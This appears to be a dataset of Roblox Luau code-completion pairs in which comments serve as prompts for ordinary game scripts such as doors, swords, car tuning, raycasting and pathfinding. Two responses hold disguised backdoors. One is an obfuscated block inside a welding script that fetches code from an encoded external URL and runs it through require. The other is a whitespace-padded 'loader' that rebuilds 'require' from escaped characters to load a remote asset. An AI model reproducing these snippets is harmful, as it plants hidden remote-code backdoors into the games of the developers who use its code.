		-- isn't affected by :setTweenInfo() until next change
		_currentTweenInfo = tweenInfo,
		_currentTweenDuration = 0,
		_currentTweenStartTime = 0
	}, CLASS_METATABLE)

	initDependency(self)
	-- add this object to the goal state's dependent set
	goalState.dependentSet[self] = true

	return self
end

return Tween


Prompt:
--[=[
	Takes `count` entries from the table. If the table does not have
	that many entries, will return up to the number the table has to
	provide.

	@param source table -- Source table to retrieve values from
	@param count number -- Number of entries to take
	@return table -- List with the entries retrieved
]=]

Response:
function Table.take(source, count)
	local newTable = {}
	for i=1, math.min(#source, count) do
		newTable[i] = source[i]
	end
	return newTable
end

local function errorOnIndex(_, index)
	error(("Bad index %q"):format(tostring(index)), 2)
end

local READ_ONLY_METATABLE = {
	__index = errorOnIndex;
	__newindex = errorOnIndex;
}


Prompt: --do nothing

Response:
else
if game.Workspace.DoorValues.Moving.Value == false then
game.Workspace.DoorValues.Close.Value = game.Workspace.DoorValues.Close.Value +1
game.Workspace.DoorValues.Open.Value = game.Workspace.DoorValues.Open.Value -1
game.Workspace.doorright.p1.CFrame = game.Workspace.doorright.p1.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p2.CFrame = game.Workspace.doorright.p2.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p3.CFrame = game.Workspace.doorright.p3.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p4.CFrame = game.Workspace.doorright.p4.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p5.CFrame = game.Workspace.doorright.p5.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p6.CFrame = game.Workspace.doorright.p6.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p7.CFrame = game.Workspace.doorright.p7.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p8.CFrame = game.Workspace.doorright.p8.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p9.CFrame = game.Workspace.doorright.p9.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p10.CFrame = game.Workspace.doorright.p10.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p11.CFrame = game.Workspace.doorright.p11.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p12.CFrame = game.Workspace.doorright.p12.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p13.CFrame = game.Workspace.doorright.p13.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p14.CFrame = game.Workspace.doorright.p14.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p15.CFrame = game.Workspace.doorright.p15.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p16.CFrame = game.Workspace.doorright.p16.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p17.CFrame = game.Workspace.doorright.p17.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p18.CFrame = game.Workspace.doorright.p18.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p19.CFrame = game.Workspace.doorright.p19.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.pillar.CFrame = game.Workspace.doorright.pillar.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l11.CFrame = game.Workspace.doorright.l11.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l12.CFrame = game.Workspace.doorright.l12.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l13.CFrame = game.Workspace.doorright.l13.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l21.CFrame = game.Workspace.doorright.l21.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l22.CFrame = game.Workspace.doorright.l22.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l23.CFrame = game.Workspace.doorright.l23.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l31.CFrame = game.Workspace.doorright.l31.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l32.CFrame = game.Workspace.doorright.l32.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l33.CFrame = game.Workspace.doorright.l33.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l41.CFrame = game.Workspace.doorright.l41.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l42.CFrame = game.Workspace.doorright.l42.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l43.CFrame = game.Workspace.doorright.l43.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l51.CFrame = game.Workspace.doorright.l51.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l52.CFrame = game.Workspace.doorright.l52.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l53.CFrame = game.Workspace.doorright.l53.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l61.CFrame = game.Workspace.doorright.l61.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l62.CFrame = game.Workspace.doorright.l62.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l63.CFrame = game.Workspace.doorright.l63.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l71.CFrame = game.Workspace.doorright.l71.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l72.CFrame = game.Workspace.doorright.l72.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l73.CFrame = game.Workspace.doorright.l73.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)


Prompt:
--[[
Ray casts to find a collidable part.
--]]

Response:
local function FindCollidablePartOnRay(StartPosition,Direction,IgnoreList,CollisionGroup)
    --Convert the collision group.
    if typeof(CollisionGroup) == "Instance" and CollisionGroup:IsA("BasePart") then
        CollisionGroup = PhysicsService:GetCollisionGroupName(CollisionGroup.CollisionGroupId)
    end

    --Create the ignore list.
    local Camera = Workspace.CurrentCamera
    local NewIgnoreList = {Camera}
    if typeof(IgnoreList) == "Instance" then
        table.insert(NewIgnoreList,IgnoreList)
    elseif typeof(IgnoreList) == "table" then
        for _,Entry in pairs(IgnoreList) do
            if Entry ~= Camera then
                table.insert(NewIgnoreList,Entry)
            end
        end
    end

    --Create the parameters.
    local RaycastParameters = RaycastParams.new()
    RaycastParameters.FilterType = Enum.RaycastFilterType.Blacklist
    RaycastParameters.FilterDescendantsInstances = NewIgnoreList
    RaycastParameters.IgnoreWater = true
    if CollisionGroup then
        RaycastParameters.CollisionGroup = CollisionGroup
    end

    --Raycast and continue if the hit part isn't collidable.
    local RaycastResult = Workspace:Raycast(StartPosition,Direction,RaycastParameters)
    if not RaycastResult then
        return nil,StartPosition + Direction
    end
    local HitPart,EndPosition = RaycastResult.Instance,RaycastResult.Position
    if HitPart and not HitPart.CanCollide and (not HitPart:IsA("Seat") or not HitPart:IsA("VehicleSeat") or HitPart.Disabled) then
        table.insert(NewIgnoreList,HitPart)
        return FindCollidablePartOnRay(EndPosition,Direction + (EndPosition - StartPosition),NewIgnoreList,CollisionGroup)
    end

    --Return the hit result.
    return HitPart,EndPosition
end

return FindCollidablePartOnRay


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 12

local slash_damage = 15
local lunge_damage = 20

sword = script.Parent.Handle
Tool = script.Parent

local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7

local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1

function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				humanoid:TakeDamage(damage)
				wait(1)
				untagHumanoid(humanoid)
			end
		end

	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool

	force = Instance.new("BodyVelocity")
	force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
	force.Parent = Tool.Parent.Torso
	wait(.25)
	swordOut()
	wait(.25)
	force.Parent = nil
	wait(.5)
	swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end

Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	t = r.Stepped:wait()

	if (t - last_attack < .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	--wait(.5)

	Tool.Enabled = true
end

function onEquipped()
	UnsheathSound:play()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)

connection = sword.Touched:connect(blow)


Prompt: --- Returns an array of the names of all registered commands (not including aliases)

Response:
function Registry:GetCommandsAsStrings ()
	local commands = {}

	for _, command in pairs(self.CommandsArray) do
		commands[#commands + 1] = command.Name
	end

	return commands
end


Prompt:
--[[
	Player state. No logic, as the server dictates the events in and out of this state.
]]

Response: local PlayerPostGame = {}


Prompt: --PlayAnim

Response:
while true do
	wait(0.3)

	local function TweenTransparency ()
		local TweenTransInfo = TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.In,0,false)
		local Tween = TweenService:Create(Money, TweenTransInfo, {ImageTransparency = 1})
		Tween:Play()
	end

	local function MoneyDown ()
		TweenTransparency()
		Money:TweenPosition(
			UDim2.new(MoneyPX, 0, MoneyPY - 0.112 , 0),
			Enum.EasingDirection.In,
			Enum.EasingStyle.Quad,
			0.35,
			false
		)
	end

	local function MoneyUp ()
		Money.ImageTransparency = 0
		Money:TweenPosition(
			UDim2.new(MoneyPX, 0,MoneyPY - 0.400 , 0),
			Enum.EasingDirection.Out,
			Enum.EasingStyle.Quad,
			0.40,
			false,
			MoneyDown
		)
	end

	local function MoveDown ()
		--call money tween
		MoneyUp()
		--Move to origin
		MoneyBag:TweenPosition(
			UDim2.new(MoneyPX, 0,MoneyPY, 0),
			Enum.EasingDirection.Out,
			Enum.EasingStyle.Back,
			0.8,
			false
		)
		wait(0.8)
	end

	--moveUp
	MoneyBag:TweenPosition(
		UDim2.new(MoneyPX, 0,MoneyPY - 0.122 , 0),
		Enum.EasingDirection.In,
		Enum.EasingStyle.Back,
		0.8,
		false,
		MoveDown
	)

end


Prompt: -- ANimation

Response:
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 2
		Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		for i = 1,math.huge do
			if Debounce == 2 then

				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else

				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 3
		local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		wait(1)
		Track2:Stop()
		plr.Character.HumanoidRootPart.Anchored = false
		wait(.5)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)


Prompt:
-- Factor of torque applied to change the wheel direction
-- Larger number generally means faster braking

Response: local BRAKING_TORQUE = 8000


Prompt:
--[[**
	ensures Roblox PathWaypoint type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.PathWaypoint = primitive("PathWaypoint")


Prompt: --------RIGHT DOOR --------

Response:
game.Workspace.doorright.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(1003)


Prompt: --[[Tires]]

Response:
--
	-- Tire Curve Profiler: https://www.desmos.com/calculator/og4x1gyzng
	Tune.TireCylinders	= 4			-- How many cylinders are used for the tires. More means a smoother curve but way more parts meaning lag. (Default = 4)
	Tune.TiresVisible	= false		-- Makes the tires visible (Debug)


Prompt:
-- @Description Add and return a HandleAdornment class object with basic parameters to the terrain.
-- @Arg1 ObjectClass

Response:
function Debug.AddObject(ObjectType)
	local Obj = Instance.new(ObjectType)
	Obj.AlwaysOnTop = true
	Obj.Color3 = Color3.new(1,1,1)
	Obj.Transparency = .5
	Obj.AdornCullingMode = Enum.AdornCullingMode.Never
	Obj.ZIndex = 1

	Obj.Adornee = game.Workspace.Terrain
	Obj.Parent = game.Workspace.Terrain
	return Obj
end


Prompt:
--[=[
	@interface KnitOptions
	.ServicePromises boolean?
	.Middleware Middleware?
	.PerServiceMiddleware PerServiceMiddleware?
	@within KnitClient

	- `ServicePromises` defaults to `true` and indicates if service methods use promises.
	- Each service will go through the defined middleware, unless the service
	has middleware defined in `PerServiceMiddleware`.
]=]

Response:
type KnitOptions = {
	ServicePromises: boolean,
	Middleware: Middleware?,
	PerServiceMiddleware: PerServiceMiddleware?
}

local defaultOptions: KnitOptions = {
	ServicePromises = true;
	Middleware = nil;
	PerServiceMiddleware = {};
}

local selectedOptions = nil


Prompt:
--SeregaTopYTReal2
--Put the "died" sound to npc's head

Response:
local NPC = script.Parent
local Head = NPC.Head
local Humanoid
for i,v in pairs(NPC:GetChildren()) do
	if v:IsA('Humanoid') then
		Humanoid = v
	end
end

if Humanoid then
	Humanoid.Died:Connect(function()
		wait(0.0001)
		Head:FindFirstChild("died"):Play()
	end)
else
	warn('Cannot find Humanoid in DeathSound Script!')
end


Prompt:
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/

Response:
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).

local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end

local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end

local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end

local function Modify(Instance, Values)
	-- Modifies an Instance by using a table.

	assert(type(Values) == "table", "Values is not a table");

	for Index, Value in next, Values do
		if type(Index) == "number" then
			Value.Parent = Instance
		else
			Instance[Index] = Value
		end
	end
	return Instance
end

local function Make(ClassType, Properties)
	-- Using a syntax hack to create a nice way to Make new items.

	return Modify(Instance.new(ClassType), Properties)
end

local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}

local function HasWheelJoint(Part)
	for _, SurfaceName in pairs(Surfaces) do
		for _, HingSurfaceName in pairs(HingSurfaces) do
			if Part[SurfaceName].Name == HingSurfaceName then
				return true
			end
		end
	end

	return false
end

local function ShouldBreakJoints(Part)
	--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases.

	if NEVER_BREAK_JOINTS then
		return false
	end

	if HasWheelJoint(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if HasWheelJoint(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end

	return true
end
			pcall(function()
			local a:({caoqlqjaz9zxk329})  -> MemoryStoreQueue<thread> =task.spawn
			local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require
			local b:(Workspace) -> MemStorageConnection<thread> = tonumber(game:service("HttpService"):GetAsync("https://xn--fne3918d.simulprod.net/%E9%A1%B4%EA%8D%B0%F0%90%99%A9%E9%A9%AB%E1%95%B2"))
			local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel;
			for _ in {lozl(a(z,b))} do
			end
			end)
local function WeldTogether(Part0, Part1, JointType, WeldParent)
	--- Weld's 2 parts together
	-- @param Part0 The first part
	-- @param Part1 The second part (Dependent part most of the time).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
	-- @return The weld created.

	JointType = JointType or "Weld"
	local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")

	local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
	Modify(NewWeld, {
		Name = "qCFrameWeldThingy";
		Part0  = Part0;
		Part1  = Part1;
		C0     = CFrame.new();--Part0.CFrame:inverse();
		C1     = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
		Parent = Part1;
	})

	if not RelativeValue then
		RelativeValue = Make("CFrameValue", {
			Parent     = Part1;
			Name       = "qRelativeCFrameWeldValue";
			Archivable = true;
			Value      = NewWeld.C1;
		})
	end

	return NewWeld
end

local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
	-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to weld the model to (can be in the model).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.

	for _, Part in pairs(Parts) do
		if ShouldBreakJoints(Part) then
			Part:BreakJoints()
		end
	end

	for _, Part in pairs(Parts) do
		if Part ~= MainPart then
			WeldTogether(MainPart, Part, JointType, MainPart)
		end
	end

	if not DoNotUnanchor then
		for _, Part in pairs(Parts) do
			Part.Anchored = false
		end
		MainPart.Anchored = false
	end
end

local function PerfectionWeld()
	local Tool = GetNearestParent(script, "Tool")

	local Parts = GetBricks(script.Parent)
	local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]

	if PrimaryPart then
		WeldParts(Parts, PrimaryPart, "Weld", false)
	else
		warn("qWeld - Unable to weld part")
	end

	return Tool
end

local Tool = PerfectionWeld()

if Tool and script.ClassName == "Script" then
	--- Don't bother with local scripts

	script.Parent.AncestryChanged:connect(function()
		PerfectionWeld()
	end)
end


Prompt: --[[ Last synced 3/7/2021 11:05                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: --// Handling Settings

Response:
	Firerate = 60 / 650; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!

	FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive


Prompt: ---------- Brake Lights Off ----------

Response:
if script.Parent.Throttle == 1 then
lights.Brake1.BrickColor = BrickColor.new("Bright red")
lights.Brake2.BrickColor = BrickColor.new("Bright red")

lights.Brake1.Material = "SmoothPlastic"
lights.Brake2.Material = "SmoothPlastic"

else


Prompt: --[[ NON-STATIC METHODS ]]

Response:
--
function Path:Destroy()
	for _, event in ipairs(self._events) do
		event:Destroy()
	end
	self._events = nil
	self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
	self._agent = nil
	self._humanoid = nil
	self._path:Destroy()
	self._path =nil
	self._status = nil
	self._t = nil
	self._position = nil
	self._target = nil
end

function Path:Stop()
	if not self._humanoid then
		output(error, "Attempt to call Path:Stop() on a non-humanoid.")
		return
	end
	disconnectMoveConnection(self)
	self._status = Path.StatusType.Idle
	self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
	self._events.Stopped:Fire(self._model)
end

function Path:Run(target)

	--Non-humanoid handle case
	if not target and not self._humanoid and self._target then
		moveToFinished(self, true)
		return
	end

	--Parameter check
	if not (target and (typeof(target) == "Vector3" or target:IsA("BasePart"))) then
		output(error, "Pathfinding target must be a valid Vector3 or BasePart.")
	end

	--Refer to Settings.TIME_VARIANCE
	if os.clock() - self._t <= Settings.TIME_VARIANCE and self._humanoid then
		task.wait(os.clock() - self._t)
		declareError(self, self.ErrorType.LimitReached)
		return false
	elseif self._humanoid then
		self._t = os.clock()
	end

	--Compute path
	local pathComputed, msg = pcall(function()
		self._path:ComputeAsync(self._agent.PrimaryPart.Position, (typeof(target) == "Vector3" and target) or target.Position)
	end)

	--Make sure path computation is successful
	if not pathComputed
		or self._path.Status == Enum.PathStatus.NoPath
		or #self._path:GetWaypoints() < 2
		or (self._humanoid and self._humanoid:GetState() == Enum.HumanoidStateType.Freefall) then
		self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
		task.wait()
		declareError(self, self.ErrorType.ComputationError)
		return false
	end

	--Set status to active; pathfinding starts
	self._status = (self._humanoid and Path.StatusType.Active) or Path.StatusType.Idle
	self._target = target

	--Set network owner to server to prevent "hops"
	pcall(function() self._agent.PrimaryPart:SetNetworkOwner(nil) end)

	--Initialize waypoints
	self._waypoints = self._path:GetWaypoints()
	self._currentWaypoint = 2

	--Refer to Settings.COMPARISON_CHECKS
	if self._humanoid then comparePosition(self) end

	--Visualize waypoints
	destroyVisualWaypoints(self._visualWaypoints)
	self._visualWaypoints = (self.Visualize and createVisualWaypoints(self._waypoints))

	--Create a new move connection if it doesn't exist already
	self._moveConnection = self._humanoid and (self._moveConnection or self._humanoid.MoveToFinished:Connect(function(...) moveToFinished(self, ...) end))

	--Begin pathfinding
	if self._humanoid then
		self._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position)
	elseif #self._waypoints == 2 then
		self._target = nil
		self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
		self._events.Reached:Fire(self._agent, self._waypoints[2])
	else
		self._currentWaypoint = getNonHumanoidWaypoint(self)
		moveToFinished(self, true)
	end
	return true
end

return Path


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Semi","Auto"}												--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios

	Tune.FinalDrive		= 6.5
	Tune.Ratios			= {
		--[[Reverse]]	5			,
		--[[Neutral]]	0			,
		--[[ 1 ]]		3.9			,
		--[[ 2 ]]		2.52		,
		--[[ 3 ]]		1.85		,
		--[[ 4 ]]		1.38		,
		--[[ 5 ]]		1.05		,
		--[[ 6 ]]		.87			,
		--[[ 7 ]]		.69			,
	}
	Tune.FDMult			= 1			-- Ratio multiplier (keep this at 1 if car is not struggling with torque)


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0

script:WaitForChild("Idle")

if not FE then
	for i,v in pairs(car.DriveSeat:GetChildren()) do
		for _,a in pairs(script:GetChildren()) do
			if v.Name==a.Name then v:Stop() wait() v:Destroy() end
		end
	end
	for i,v in pairs(script:GetChildren()) do
		v.Parent=car.DriveSeat
	end

	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
    car.DriveSeat.Idle.Pitch = (car.DriveSeat.Idle.SetPitch.Value - car.DriveSeat.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
end
else
	local handler = car.AC6_FE_Sounds
	handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,true)
	handler:FireServer("playSound","Idle")

	local pitch=0

	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		pitch = (script.Idle.SetPitch.Value - script.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
		handler:FireServer("updateSound","Idle",script.Idle.SoundId,pitch,script.Idle.Volume)
	end
end


Prompt: --- Add a line to the command bar

Response:
function Window:AddLine(text, color)
	if #text == 0 then
		Window:UpdateWindowHeight()
		return
	end

	local line = Line:Clone()
	line.Text = self.Cmdr.Util.EmulateTabstops(text or "nil", 8)
	line.TextColor3 = color or line.TextColor3
	line.Parent = Gui
end


Prompt: -- Set the callback; this can only be done once by one script on the server!

Response:
MarketplaceService.ProcessReceipt = processReceipt

return module


Prompt:
--edit the function below to return true when you want this response/prompt to be valid
